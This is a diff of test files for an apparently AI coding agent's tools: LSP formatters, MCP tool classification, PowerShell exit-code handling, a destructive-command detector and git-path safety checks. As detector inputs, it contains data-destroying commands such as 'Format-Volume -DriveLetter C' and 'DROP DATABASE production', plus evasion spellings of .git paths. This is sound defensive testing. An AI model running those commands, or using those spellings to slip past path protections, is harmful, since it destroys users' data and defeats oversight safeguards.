logForDebugging: () => {},
|
||||
isDebugMode: () => false,
|
||||
}));
|
||||
|
||||
mock.module("src/utils/errors.js", () => ({
|
||||
errorMessage: (e: unknown) => String(e),
|
||||
}));
|
||||
|
||||
mock.module("src/utils/stringUtils.js", () => ({
|
||||
plural: (n: number, singular: string, plural?: string) =>
|
||||
n === 1 ? singular : (plural ?? singular + "s"),
|
||||
}));
|
||||
|
||||
const {
|
||||
formatGoToDefinitionResult,
|
||||
formatFindReferencesResult,
|
||||
formatHoverResult,
|
||||
formatDocumentSymbolResult,
|
||||
formatWorkspaceSymbolResult,
|
||||
formatPrepareCallHierarchyResult,
|
||||
formatIncomingCallsResult,
|
||||
formatOutgoingCallsResult,
|
||||
} = await import("../formatters");
|
||||
|
||||
// Minimal LSP type stubs for testing
|
||||
const makeLocation = (uri: string, startLine: number, startChar: number, endLine: number, endChar: number) => ({
|
||||
uri,
|
||||
range: {
|
||||
start: { line: startLine, character: startChar },
|
||||
end: { line: endLine, character: endChar },
|
||||
},
|
||||
});
|
||||
|
||||
const makeSymbol = (name: string, kind: number, range: { start: { line: number; character: number }; end: { line: number; character: number } }) => ({
|
||||
name,
|
||||
kind,
|
||||
range,
|
||||
children: undefined,
|
||||
});
|
||||
|
||||
const makeCallItem = (name: string, uri: string, line: number) => ({
|
||||
name,
|
||||
kind: 12, // Function
|
||||
uri,
|
||||
range: {
|
||||
start: { line: line, character: 0 },
|
||||
end: { line: line, character: 10 },
|
||||
},
|
||||
selectionRange: {
|
||||
start: { line: line, character: 0 },
|
||||
end: { line: line, character: name.length },
|
||||
},
|
||||
});
|
||||
|
||||
describe("formatGoToDefinitionResult", () => {
|
||||
test("returns no definitions message for null", () => {
|
||||
const result = formatGoToDefinitionResult(null);
|
||||
expect(result).toContain("No definition found");
|
||||
});
|
||||
|
||||
test("formats single location", () => {
|
||||
const loc = makeLocation("file:///src/foo.ts", 10, 5, 10, 15);
|
||||
const result = formatGoToDefinitionResult(loc);
|
||||
expect(result).toContain("foo.ts");
|
||||
// LSP lines are 0-based, display is 1-based → line 10 = display line 11
|
||||
expect(result).toContain("11");
|
||||
});
|
||||
|
||||
test("formats array of locations", () => {
|
||||
const locs = [
|
||||
makeLocation("file:///src/a.ts", 1, 0, 1, 5),
|
||||
makeLocation("file:///src/b.ts", 5, 0, 5, 5),
|
||||
];
|
||||
const result = formatGoToDefinitionResult(locs);
|
||||
expect(result).toContain("a.ts");
|
||||
expect(result).toContain("b.ts");
|
||||
});
|
||||
});
|
||||
|
||||
describe("formatFindReferencesResult", () => {
|
||||
test("returns no references message for null", () => {
|
||||
expect(formatFindReferencesResult(null)).toContain("No references found");
|
||||
});
|
||||
|
||||
test("formats references", () => {
|
||||
const refs = [
|
||||
makeLocation("file:///src/a.ts", 1, 0, 1, 5),
|
||||
makeLocation("file:///src/b.ts", 3, 0, 3, 5),
|
||||
];
|
||||
const result = formatFindReferencesResult(refs);
|
||||
expect(result).toContain("a.ts");
|
||||
expect(result).toContain("b.ts");
|
||||
});
|
||||
});
|
||||
|
||||
describe("formatHoverResult", () => {
|
||||
test("returns no hover message for null", () => {
|
||||
expect(formatHoverResult(null)).toContain("No hover information");
|
||||
});
|
||||
|
||||
test("formats hover with string contents", () => {
|
||||
const hover = {
|
||||
contents: { kind: "plaintext", value: "string" },
|
||||
range: makeLocation("file:///a.ts", 0, 0, 0, 5).range,
|
||||
};
|
||||
const result = formatHoverResult(hover as any);
|
||||
expect(result).toContain("string");
|
||||
});
|
||||
});
|
||||
|
||||
describe("formatDocumentSymbolResult", () => {
|
||||
test("returns no symbols message for null", () => {
|
||||
expect(formatDocumentSymbolResult(null)).toContain("No symbols found");
|
||||
});
|
||||
|
||||
test("returns no symbols for empty array", () => {
|
||||
expect(formatDocumentSymbolResult([])).toContain("No symbols found");
|
||||
});
|
||||
|
||||
test("formats document symbols", () => {
|
||||
const symbols = [
|
||||
makeSymbol("MyClass", 5, { start: { line: 0, character: 0 }, end: { line: 10, character: 0 } }),
|
||||
makeSymbol("myMethod", 6, { start: { line: 2, character: 0 }, end: { line: 5, character: 0 } }),
|
||||
];
|
||||
const result = formatDocumentSymbolResult(symbols as any);
|
||||
expect(result).toContain("MyClass");
|
||||
expect(result).toContain("myMethod");
|
||||
});
|
||||
});
|
||||
|
||||
describe("formatWorkspaceSymbolResult", () => {
|
||||
test("returns no symbols for null", () => {
|
||||
expect(formatWorkspaceSymbolResult(null)).toContain("No symbols found");
|
||||
});
|
||||
|
||||
test("formats workspace symbols", () => {
|
||||
const symbols = [
|
||||
{
|
||||
name: "SearchResult",
|
||||
kind: 12,
|
||||
location: makeLocation("file:///src/a.ts", 0, 0, 0, 5),
|
||||
},
|
||||
];
|
||||
const result = formatWorkspaceSymbolResult(symbols as any);
|
||||
expect(result).toContain("SearchResult");
|
||||
});
|
||||
});
|
||||
|
||||
describe("formatPrepareCallHierarchyResult", () => {
|
||||
test("returns no items for null", () => {
|
||||
expect(formatPrepareCallHierarchyResult(null)).toContain("No call hierarchy");
|
||||
});
|
||||
|
||||
test("formats call hierarchy items", () => {
|
||||
const items = [makeCallItem("main", "file:///src/main.ts", 5)];
|
||||
const result = formatPrepareCallHierarchyResult(items as any);
|
||||
expect(result).toContain("main");
|
||||
expect(result).toContain("main.ts");
|
||||
});
|
||||
});
|
||||
|
||||
describe("formatIncomingCallsResult", () => {
|
||||
test("returns no calls for null", () => {
|
||||
expect(formatIncomingCallsResult(null)).toContain("No incoming calls");
|
||||
});
|
||||
|
||||
test("formats incoming calls", () => {
|
||||
const calls = [
|
||||
{
|
||||
from: makeCallItem("caller", "file:///src/a.ts", 3),
|
||||
fromRanges: [makeLocation("file:///src/a.ts", 3, 0, 3, 5).range],
|
||||
},
|
||||
];
|
||||
const result = formatIncomingCallsResult(calls as any);
|
||||
expect(result).toContain("caller");
|
||||
});
|
||||
});
|
||||
|
||||
describe("formatOutgoingCallsResult", () => {
|
||||
test("returns no calls for null", () => {
|
||||
expect(formatOutgoingCallsResult(null)).toContain("No outgoing calls");
|
||||
});
|
||||
|
||||
test("formats outgoing calls", () => {
|
||||
const calls = [
|
||||
{
|
||||
to: makeCallItem("callee", "file:///src/b.ts", 10),
|
||||
fromRanges: [makeLocation("file:///src/main.ts", 5, 0, 5, 5).range],
|
||||
},
|
||||
];
|
||||
const result = formatOutgoingCallsResult(calls as any);
|
||||
expect(result).toContain("callee");
|
||||
});
|
||||
});
|
||||
37
src/tools/LSPTool/__tests__/schemas.test.ts
Normal file
37
src/tools/LSPTool/__tests__/schemas.test.ts
Normal file
@@ -0,0 +1,37 @@
|
||||
import { describe, expect, test } from "bun:test";
|
||||
import { isValidLSPOperation } from "../schemas";
|
||||
|
||||
describe("isValidLSPOperation", () => {
|
||||
const validOps = [
|
||||
"goToDefinition",
|
||||
"findReferences",
|
||||
"hover",
|
||||
"documentSymbol",
|
||||
"workspaceSymbol",
|
||||
"goToImplementation",
|
||||
"prepareCallHierarchy",
|
||||
"incomingCalls",
|
||||
"outgoingCalls",
|
||||
];
|
||||
|
||||
test.each(validOps)("returns true for valid operation: %s", (op) => {
|
||||
expect(isValidLSPOperation(op)).toBe(true);
|
||||
});
|
||||
|
||||
test("returns false for invalid operation", () => {
|
||||
expect(isValidLSPOperation("invalidOp")).toBe(false);
|
||||
});
|
||||
|
||||
test("returns false for empty string", () => {
|
||||
expect(isValidLSPOperation("")).toBe(false);
|
||||
});
|
||||
|
||||
test("returns false for undefined", () => {
|
||||
expect(isValidLSPOperation(undefined as any)).toBe(false);
|
||||
});
|
||||
|
||||
test("is case sensitive", () => {
|
||||
expect(isValidLSPOperation("GoToDefinition")).toBe(false);
|
||||
expect(isValidLSPOperation("HOVER")).toBe(false);
|
||||
});
|
||||
});
|
||||
146
src/tools/MCPTool/__tests__/classifyForCollapse.test.ts
Normal file
146
src/tools/MCPTool/__tests__/classifyForCollapse.test.ts
Normal file
@@ -0,0 +1,146 @@
|
||||
import { describe, expect, test } from "bun:test";
|
||||
import { classifyMcpToolForCollapse } from "../classifyForCollapse";
|
||||
|
||||
describe("classifyMcpToolForCollapse", () => {
|
||||
// Search tools
|
||||
test("classifies Slack slack_search_public as search", () => {
|
||||
expect(classifyMcpToolForCollapse("slack", "slack_search_public")).toEqual({
|
||||
isSearch: true,
|
||||
isRead: false,
|
||||
});
|
||||
});
|
||||
|
||||
test("classifies GitHub search_code as search", () => {
|
||||
expect(classifyMcpToolForCollapse("github", "search_code")).toEqual({
|
||||
isSearch: true,
|
||||
isRead: false,
|
||||
});
|
||||
});
|
||||
|
||||
test("classifies Linear search_issues as search", () => {
|
||||
expect(classifyMcpToolForCollapse("linear", "search_issues")).toEqual({
|
||||
isSearch: true,
|
||||
isRead: false,
|
||||
});
|
||||
});
|
||||
|
||||
test("classifies Datadog search_logs as search", () => {
|
||||
expect(classifyMcpToolForCollapse("datadog", "search_logs")).toEqual({
|
||||
isSearch: true,
|
||||
isRead: false,
|
||||
});
|
||||
});
|
||||
|
||||
test("classifies Notion search as search", () => {
|
||||
expect(classifyMcpToolForCollapse("notion", "search")).toEqual({
|
||||
isSearch: true,
|
||||
isRead: false,
|
||||
});
|
||||
});
|
||||
|
||||
test("classifies Brave brave_web_search as search", () => {
|
||||
expect(classifyMcpToolForCollapse("brave-search", "brave_web_search")).toEqual({
|
||||
isSearch: true,
|
||||
isRead: false,
|
||||
});
|
||||
});
|
||||
|
||||
// Read tools
|
||||
test("classifies Slack slack_read_channel as read", () => {
|
||||
expect(classifyMcpToolForCollapse("slack", "slack_read_channel")).toEqual({
|
||||
isSearch: false,
|
||||
isRead: true,
|
||||
});
|
||||
});
|
||||
|
||||
test("classifies GitHub get_file_contents as read", () => {
|
||||
expect(classifyMcpToolForCollapse("github", "get_file_contents")).toEqual({
|
||||
isSearch: false,
|
||||
isRead: true,
|
||||
});
|
||||
});
|
||||
|
||||
test("classifies Linear get_issue as read", () => {
|
||||
expect(classifyMcpToolForCollapse("linear", "get_issue")).toEqual({
|
||||
isSearch: false,
|
||||
isRead: true,
|
||||
});
|
||||
});
|
||||
|
||||
test("classifies Filesystem read_file as read", () => {
|
||||
expect(classifyMcpToolForCollapse("filesystem", "read_file")).toEqual({
|
||||
isSearch: false,
|
||||
isRead: true,
|
||||
});
|
||||
});
|
||||
|
||||
test("classifies GitHub list_commits as read", () => {
|
||||
expect(classifyMcpToolForCollapse("github", "list_commits")).toEqual({
|
||||
isSearch: false,
|
||||
isRead: true,
|
||||
});
|
||||
});
|
||||
|
||||
test("classifies Slack slack_list_channels as read", () => {
|
||||
expect(classifyMcpToolForCollapse("slack", "slack_list_channels")).toEqual({
|
||||
isSearch: false,
|
||||
isRead: true,
|
||||
});
|
||||
});
|
||||
|
||||
// Unknown tools
|
||||
test("unknown tool returns { isSearch: false, isRead: false }", () => {
|
||||
expect(classifyMcpToolForCollapse("unknown", "do_something")).toEqual({
|
||||
isSearch: false,
|
||||
isRead: false,
|
||||
});
|
||||
});
|
||||
|
||||
// normalize: camelCase -> snake_case
|
||||
test("tool name with camelCase variant still matches after normalize", () => {
|
||||
// searchCode -> search_code
|
||||
expect(classifyMcpToolForCollapse("github", "searchCode")).toEqual({
|
||||
isSearch: true,
|
||||
isRead: false,
|
||||
});
|
||||
});
|
||||
|
||||
// normalize: kebab-case -> snake_case
|
||||
test("tool name with kebab-case variant still matches after normalize", () => {
|
||||
// search-code -> search_code
|
||||
expect(classifyMcpToolForCollapse("github", "search-code")).toEqual({
|
||||
isSearch: true,
|
||||
isRead: false,
|
||||
});
|
||||
});
|
||||
|
||||
// Server name doesn't affect classification
|
||||
test("server name parameter does not affect classification", () => {
|
||||
const r1 = classifyMcpToolForCollapse("server-a", "search_code");
|
||||
const r2 = classifyMcpToolForCollapse("server-b", "search_code");
|
||||
expect(r1).toEqual(r2);
|
||||
});
|
||||
|
||||
// Edge cases
|
||||
test("empty tool name returns false/false", () => {
|
||||
expect(classifyMcpToolForCollapse("server", "")).toEqual({
|
||||
isSearch: false,
|
||||
isRead: false,
|
||||
});
|
||||
});
|
||||
|
||||
// normalize lowercases, so SEARCH_CODE -> search_code -> matches
|
||||
test("uppercase input normalizes to match", () => {
|
||||
expect(classifyMcpToolForCollapse("github", "SEARCH_CODE")).toEqual({
|
||||
isSearch: true,
|
||||
isRead: false,
|
||||
});
|
||||
});
|
||||
|
||||
test("handles tool names with numbers", () => {
|
||||
expect(classifyMcpToolForCollapse("server", "search2_things")).toEqual({
|
||||
isSearch: false,
|
||||
isRead: false,
|
||||
});
|
||||
});
|
||||
});
|
||||
147
src/tools/PowerShellTool/__tests__/commandSemantics.test.ts
Normal file
147
src/tools/PowerShellTool/__tests__/commandSemantics.test.ts
Normal file
@@ -0,0 +1,147 @@
|
||||
import { describe, expect, test } from "bun:test";
|
||||
import { interpretCommandResult } from "../commandSemantics";
|
||||
|
||||
describe("interpretCommandResult", () => {
|
||||
describe("grep / rg", () => {
|
||||
test("grep exit 0 is not error", () => {
|
||||
const result = interpretCommandResult("grep pattern file", 0, "match", "");
|
||||
expect(result.isError).toBe(false);
|
||||
});
|
||||
|
||||
test("grep exit 1 (no match) is not error", () => {
|
||||
const result = interpretCommandResult("grep pattern file", 1, "", "");
|
||||
expect(result.isError).toBe(false);
|
||||
expect(result.message).toBe("No matches found");
|
||||
});
|
||||
|
||||
test("grep exit 2 is error", () => {
|
||||
const result = interpretCommandResult("grep pattern file", 2, "", "error");
|
||||
expect(result.isError).toBe(true);
|
||||
});
|
||||
|
||||
test("rg exit 0 is not error", () => {
|
||||
const result = interpretCommandResult("rg pattern", 0, "match", "");
|
||||
expect(result.isError).toBe(false);
|
||||
});
|
||||
|
||||
test("rg exit 1 (no match) is not error", () => {
|
||||
const result = interpretCommandResult("rg pattern", 1, "", "");
|
||||
expect(result.isError).toBe(false);
|
||||
});
|
||||
|
||||
test("rg exit 2 is error", () => {
|
||||
const result = interpretCommandResult("rg pattern", 2, "", "error");
|
||||
expect(result.isError).toBe(true);
|
||||
});
|
||||
|
||||
test("grep.exe is recognized", () => {
|
||||
const result = interpretCommandResult("grep.exe pattern file", 1, "", "");
|
||||
expect(result.isError).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe("findstr", () => {
|
||||
test("findstr exit 0 is not error", () => {
|
||||
const result = interpretCommandResult("findstr pattern file", 0, "match", "");
|
||||
expect(result.isError).toBe(false);
|
||||
});
|
||||
|
||||
test("findstr exit 1 (no match) is not error", () => {
|
||||
const result = interpretCommandResult("findstr pattern file", 1, "", "");
|
||||
expect(result.isError).toBe(false);
|
||||
});
|
||||
|
||||
test("findstr exit 2 is error", () => {
|
||||
const result = interpretCommandResult("findstr pattern file", 2, "", "error");
|
||||
expect(result.isError).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe("robocopy", () => {
|
||||
test("robocopy exit 0 (no files copied) is not error", () => {
|
||||
const result = interpretCommandResult("robocopy src dest", 0, "", "");
|
||||
expect(result.isError).toBe(false);
|
||||
expect(result.message).toBe("No files copied (already in sync)");
|
||||
});
|
||||
|
||||
test("robocopy exit 1 (files copied) is not error", () => {
|
||||
const result = interpretCommandResult("robocopy src dest", 1, "", "");
|
||||
expect(result.isError).toBe(false);
|
||||
expect(result.message).toBe("Files copied successfully");
|
||||
});
|
||||
|
||||
test("robocopy exit 2 (extra files) is not error", () => {
|
||||
const result = interpretCommandResult("robocopy src dest", 2, "", "");
|
||||
expect(result.isError).toBe(false);
|
||||
});
|
||||
|
||||
test("robocopy exit 7 (success with mismatches) is not error", () => {
|
||||
const result = interpretCommandResult("robocopy src dest", 7, "", "");
|
||||
expect(result.isError).toBe(false);
|
||||
});
|
||||
|
||||
test("robocopy exit 8 (copy errors) is error", () => {
|
||||
const result = interpretCommandResult("robocopy src dest", 8, "", "error");
|
||||
expect(result.isError).toBe(true);
|
||||
});
|
||||
|
||||
test("robocopy exit 16 (serious error) is error", () => {
|
||||
const result = interpretCommandResult("robocopy src dest", 16, "", "error");
|
||||
expect(result.isError).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe("default behavior", () => {
|
||||
test("unknown command exit 0 is not error", () => {
|
||||
const result = interpretCommandResult("somecmd arg", 0, "ok", "");
|
||||
expect(result.isError).toBe(false);
|
||||
});
|
||||
|
||||
test("unknown command exit 1 is error", () => {
|
||||
const result = interpretCommandResult("somecmd arg", 1, "", "fail");
|
||||
expect(result.isError).toBe(true);
|
||||
expect(result.message).toBe("Command failed with exit code 1");
|
||||
});
|
||||
|
||||
test("unknown command exit 127 is error", () => {
|
||||
const result = interpretCommandResult("missing-cmd", 127, "", "not found");
|
||||
expect(result.isError).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe("pipeline — last segment determines result", () => {
|
||||
test("pipe with grep as last segment", () => {
|
||||
const result = interpretCommandResult("cat file | grep pattern", 1, "", "");
|
||||
expect(result.isError).toBe(false);
|
||||
});
|
||||
|
||||
test("semicolon — last segment determines result", () => {
|
||||
const result = interpretCommandResult("echo hello; somecmd", 1, "", "fail");
|
||||
expect(result.isError).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe("path-stripped command names", () => {
|
||||
test("C:\\tools\\rg.exe is recognized as rg", () => {
|
||||
const result = interpretCommandResult("C:\\tools\\rg.exe pattern", 1, "", "");
|
||||
expect(result.isError).toBe(false);
|
||||
});
|
||||
|
||||
test("./tools/grep is recognized as grep", () => {
|
||||
const result = interpretCommandResult("./tools/grep pattern", 1, "", "");
|
||||
expect(result.isError).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe("call operator stripping", () => {
|
||||
test("& grep pattern works", () => {
|
||||
const result = interpretCommandResult("& grep pattern", 1, "", "");
|
||||
expect(result.isError).toBe(false);
|
||||
});
|
||||
|
||||
test('. "grep.exe" pattern works', () => {
|
||||
const result = interpretCommandResult('. "grep.exe" pattern', 1, "", "");
|
||||
expect(result.isError).toBe(false);
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,208 @@
|
||||
import { describe, expect, test } from "bun:test";
|
||||
import { getDestructiveCommandWarning } from "../destructiveCommandWarning";
|
||||
|
||||
describe("getDestructiveCommandWarning", () => {
|
||||
describe("recursive force remove", () => {
|
||||
test("Remove-Item -Recurse -Force", () => {
|
||||
expect(getDestructiveCommandWarning("Remove-Item ./x -Recurse -Force")).toBe(
|
||||
"Note: may recursively force-remove files",
|
||||
);
|
||||
});
|
||||
|
||||
test("rm -Recurse -Force alias", () => {
|
||||
expect(getDestructiveCommandWarning("rm ./x -Recurse -Force")).toBe(
|
||||
"Note: may recursively force-remove files",
|
||||
);
|
||||
});
|
||||
|
||||
test("ri -Recurse -Force alias", () => {
|
||||
expect(getDestructiveCommandWarning("ri ./x -Recurse -Force")).toBe(
|
||||
"Note: may recursively force-remove files",
|
||||
);
|
||||
});
|
||||
|
||||
test("Remove-Item -Force -Recurse (reversed order)", () => {
|
||||
expect(getDestructiveCommandWarning("Remove-Item ./x -Force -Recurse")).toBe(
|
||||
"Note: may recursively force-remove files",
|
||||
);
|
||||
});
|
||||
|
||||
test("Remove-Item -Recurse only", () => {
|
||||
expect(getDestructiveCommandWarning("Remove-Item ./x -Recurse")).toBe(
|
||||
"Note: may recursively remove files",
|
||||
);
|
||||
});
|
||||
|
||||
test("Remove-Item -Force only", () => {
|
||||
expect(getDestructiveCommandWarning("Remove-Item ./x -Force")).toBe(
|
||||
"Note: may force-remove files",
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe("safe remove commands", () => {
|
||||
test("Remove-Item without -Recurse or -Force is safe", () => {
|
||||
expect(getDestructiveCommandWarning("Remove-Item ./x")).toBeNull();
|
||||
});
|
||||
|
||||
test("del without flags is safe", () => {
|
||||
expect(getDestructiveCommandWarning("del ./x")).toBeNull();
|
||||
});
|
||||
});
|
||||
|
||||
describe("disk operations", () => {
|
||||
test("Format-Volume is destructive", () => {
|
||||
expect(getDestructiveCommandWarning("Format-Volume -DriveLetter C")).toBe(
|
||||
"Note: may format a disk volume",
|
||||
);
|
||||
});
|
||||
|
||||
test("Clear-Disk is destructive", () => {
|
||||
expect(getDestructiveCommandWarning("Clear-Disk -Number 0")).toBe(
|
||||
"Note: may clear a disk",
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe("git destructive operations", () => {
|
||||
test("git reset --hard", () => {
|
||||
expect(getDestructiveCommandWarning("git reset --hard HEAD~1")).toBe(
|
||||
"Note: may discard uncommitted changes",
|
||||
);
|
||||
});
|
||||
|
||||
test("git push --force", () => {
|
||||
expect(getDestructiveCommandWarning("git push --force origin main")).toBe(
|
||||
"Note: may overwrite remote history",
|
||||
);
|
||||
});
|
||||
|
||||
test("git push -f", () => {
|
||||
expect(getDestructiveCommandWarning("git push -f")).toBe(
|
||||
"Note: may overwrite remote history",
|
||||
);
|
||||
});
|
||||
|
||||
test("git push --force-with-lease", () => {
|
||||
expect(getDestructiveCommandWarning("git push --force-with-lease")).toBe(
|
||||
"Note: may overwrite remote history",
|
||||
);
|
||||
});
|
||||
|
||||
test("git clean -fd", () => {
|
||||
expect(getDestructiveCommandWarning("git clean -fd")).toBe(
|
||||
"Note: may permanently delete untracked files",
|
||||
);
|
||||
});
|
||||
|
||||
test("git clean -fdx", () => {
|
||||
expect(getDestructiveCommandWarning("git clean -fdx")).toBe(
|
||||
"Note: may permanently delete untracked files",
|
||||
);
|
||||
});
|
||||
|
||||
test("git stash drop", () => {
|
||||
expect(getDestructiveCommandWarning("git stash drop")).toBe(
|
||||
"Note: may permanently remove stashed changes",
|
||||
);
|
||||
});
|
||||
|
||||
test("git stash clear", () => {
|
||||
expect(getDestructiveCommandWarning("git stash clear")).toBe(
|
||||
"Note: may permanently remove stashed changes",
|
||||
);
|
||||
});
|
||||
|
||||
test("git push (normal) is safe", () => {
|
||||
expect(getDestructiveCommandWarning("git push origin main")).toBeNull();
|
||||
});
|
||||
|
||||
test("git clean -n (dry-run) is safe", () => {
|
||||
expect(getDestructiveCommandWarning("git clean -n")).toBeNull();
|
||||
});
|
||||
|
||||
test("git clean --dry-run is safe", () => {
|
||||
expect(getDestructiveCommandWarning("git clean --dry-run")).toBeNull();
|
||||
});
|
||||
});
|
||||
|
||||
describe("database operations", () => {
|
||||
test("DROP TABLE", () => {
|
||||
expect(getDestructiveCommandWarning("DROP TABLE users")).toBe(
|
||||
"Note: may drop or truncate database objects",
|
||||
);
|
||||
});
|
||||
|
||||
test("TRUNCATE TABLE", () => {
|
||||
expect(getDestructiveCommandWarning("TRUNCATE TABLE users")).toBe(
|
||||
"Note: may drop or truncate database objects",
|
||||
);
|
||||
});
|
||||
|
||||
test("DROP DATABASE", () => {
|
||||
expect(getDestructiveCommandWarning("DROP DATABASE production")).toBe(
|
||||
"Note: may drop or truncate database objects",
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe("system operations", () => {
|
||||
test("Stop-Computer", () => {
|
||||
expect(getDestructiveCommandWarning("Stop-Computer")).toBe(
|
||||
"Note: will shut down the computer",
|
||||
);
|
||||
});
|
||||
|
||||
test("Restart-Computer", () => {
|
||||
expect(getDestructiveCommandWarning("Restart-Computer")).toBe(
|
||||
"Note: will restart the computer",
|
||||
);
|
||||
});
|
||||
|
||||
test("Clear-RecycleBin", () => {
|
||||
expect(getDestructiveCommandWarning("Clear-RecycleBin")).toBe(
|
||||
"Note: permanently deletes recycled files",
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe("safe commands", () => {
|
||||
test("Get-Process is safe", () => {
|
||||
expect(getDestructiveCommandWarning("Get-Process")).toBeNull();
|
||||
});
|
||||
|
||||
test("Get-ChildItem is safe", () => {
|
||||
expect(getDestructiveCommandWarning("Get-ChildItem")).toBeNull();
|
||||
});
|
||||
|
||||
test("Write-Host is safe", () => {
|
||||
expect(getDestructiveCommandWarning("Write-Host 'hello'")).toBeNull();
|
||||
});
|
||||
|
||||
test("empty string is safe", () => {
|
||||
expect(getDestructiveCommandWarning("")).toBeNull();
|
||||
});
|
||||
});
|
||||
|
||||
describe("piped commands", () => {
|
||||
test("Remove-Item in pipeline", () => {
|
||||
expect(
|
||||
getDestructiveCommandWarning("Get-ChildItem | Remove-Item -Recurse -Force"),
|
||||
).toBe("Note: may recursively force-remove files");
|
||||
});
|
||||
});
|
||||
|
||||
describe("case insensitive", () => {
|
||||
test("REMOVE-ITEM -RECURSE -FORCE", () => {
|
||||
expect(getDestructiveCommandWarning("REMOVE-ITEM ./x -RECURSE -FORCE")).toBe(
|
||||
"Note: may recursively force-remove files",
|
||||
);
|
||||
});
|
||||
|
||||
test("format-volume mixed case", () => {
|
||||
expect(getDestructiveCommandWarning("Format-volume")).toBe(
|
||||
"Note: may format a disk volume",
|
||||
);
|
||||
});
|
||||
});
|
||||
});
|
||||
134
src/tools/PowerShellTool/__tests__/gitSafety.test.ts
Normal file
134
src/tools/PowerShellTool/__tests__/gitSafety.test.ts
Normal file
@@ -0,0 +1,134 @@
|
||||
import { mock, describe, expect, test } from "bun:test";
|
||||
|
||||
// Mock dependencies before import
|
||||
const mockCwd = "/Users/test/project";
|
||||
|
||||
mock.module("src/utils/cwd.js", () => ({
|
||||
getCwd: () => mockCwd,
|
||||
}));
|
||||
|
||||
mock.module("src/utils/powershell/parser.js", () => ({
|
||||
PS_TOKENIZER_DASH_CHARS: new Set(["-", "\u2013", "\u2014", "\u2015"]),
|
||||
}));
|
||||
|
||||
const { isGitInternalPathPS, isDotGitPathPS } = await import("../gitSafety");
|
||||
|
||||
describe("isGitInternalPathPS", () => {
|
||||
test("detects .git/config", () => {
|
||||
expect(isGitInternalPathPS(".git/config")).toBe(true);
|
||||
});
|
||||
|
||||
test("detects .git/hooks/pre-commit", () => {
|
||||
expect(isGitInternalPathPS(".git/hooks/pre-commit")).toBe(true);
|
||||
});
|
||||
|
||||
test("detects HEAD", () => {
|
||||
expect(isGitInternalPathPS("HEAD")).toBe(true);
|
||||
});
|
||||
|
||||
test("detects refs/heads/main", () => {
|
||||
expect(isGitInternalPathPS("refs/heads/main")).toBe(true);
|
||||
});
|
||||
|
||||
test("detects objects/pack/abc.pack", () => {
|
||||
expect(isGitInternalPathPS("objects/pack/abc.pack")).toBe(true);
|
||||
});
|
||||
|
||||
test("detects hooks/pre-commit", () => {
|
||||
expect(isGitInternalPathPS("hooks/pre-commit")).toBe(true);
|
||||
});
|
||||
|
||||
test("detects .git", () => {
|
||||
expect(isGitInternalPathPS(".git")).toBe(true);
|
||||
});
|
||||
|
||||
test("detects .git/HEAD", () => {
|
||||
expect(isGitInternalPathPS(".git/HEAD")).toBe(true);
|
||||
});
|
||||
|
||||
test("normal file is not git-internal", () => {
|
||||
expect(isGitInternalPathPS("src/main.ts")).toBe(false);
|
||||
});
|
||||
|
||||
test("README.md is not git-internal", () => {
|
||||
expect(isGitInternalPathPS("README.md")).toBe(false);
|
||||
});
|
||||
|
||||
test("package.json is not git-internal", () => {
|
||||
expect(isGitInternalPathPS("package.json")).toBe(false);
|
||||
});
|
||||
|
||||
test("handles backslash paths (Windows)", () => {
|
||||
expect(isGitInternalPathPS(".git\\config")).toBe(true);
|
||||
});
|
||||
|
||||
test("handles .git with NTFS short name (git~1)", () => {
|
||||
expect(isGitInternalPathPS("git~1/config")).toBe(true);
|
||||
});
|
||||
|
||||
test("handles .git with NTFS short name variant (git~2)", () => {
|
||||
expect(isGitInternalPathPS("git~2/HEAD")).toBe(true);
|
||||
});
|
||||
|
||||
test("handles leading ./ prefix", () => {
|
||||
expect(isGitInternalPathPS("./.git/config")).toBe(true);
|
||||
});
|
||||
|
||||
test("handles quoted paths", () => {
|
||||
expect(isGitInternalPathPS('".git/config"')).toBe(true);
|
||||
});
|
||||
|
||||
test("handles backtick-escaped paths", () => {
|
||||
expect(isGitInternalPathPS("`.gi`t/config")).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe("isDotGitPathPS", () => {
|
||||
test("detects .git/config", () => {
|
||||
expect(isDotGitPathPS(".git/config")).toBe(true);
|
||||
});
|
||||
|
||||
test("detects .git", () => {
|
||||
expect(isDotGitPathPS(".git")).toBe(true);
|
||||
});
|
||||
|
||||
test("detects .git/hooks/pre-commit", () => {
|
||||
expect(isDotGitPathPS(".git/hooks/pre-commit")).toBe(true);
|
||||
});
|
||||
|
||||
test(".gitignore is NOT a .git path", () => {
|
||||
expect(isDotGitPathPS(".gitignore")).toBe(false);
|
||||
});
|
||||
|
||||
test(".gitmodules is NOT a .git path", () => {
|
||||
expect(isDotGitPathPS(".gitmodules")).toBe(false);
|
||||
});
|
||||
|
||||
test("HEAD alone is NOT a .git path (could be non-git file)", () => {
|
||||
expect(isDotGitPathPS("HEAD")).toBe(false);
|
||||
});
|
||||
|
||||
test("refs/heads is NOT a .git path (bare-repo style)", () => {
|
||||
expect(isDotGitPathPS("refs/heads/main")).toBe(false);
|
||||
});
|
||||
|
||||
test("hooks/pre-commit is NOT a .git path (bare-repo style)", () => {
|
||||
expect(isDotGitPathPS("hooks/pre-commit")).toBe(false);
|
||||
});
|
||||
|
||||
test("handles NTFS short name git~1", () => {
|
||||
expect(isDotGitPathPS("git~1/config")).toBe(true);
|
||||
});
|
||||
|
||||
test("normal file is not .git path", () => {
|
||||
expect(isDotGitPathPS("src/main.ts")).toBe(false);
|
||||
});
|
||||
|
||||
test("handles backslash paths", () => {
|
||||
expect(isDotGitPathPS(".git\\HEAD")).toBe(true);
|
||||
});
|
||||
|
||||
test("handles quoted paths", () => {
|
||||
expect(isDotGitPathPS('".git/HEAD"')).toBe(true);
|
||||
});
|
||||
});
|
||||
294
src/tools/PowerShellTool/__tests__/powershellSecurity.test.ts
Normal file
294
src/tools/PowerShellTool/__tests__/powershellSecurity.test.ts
Normal file
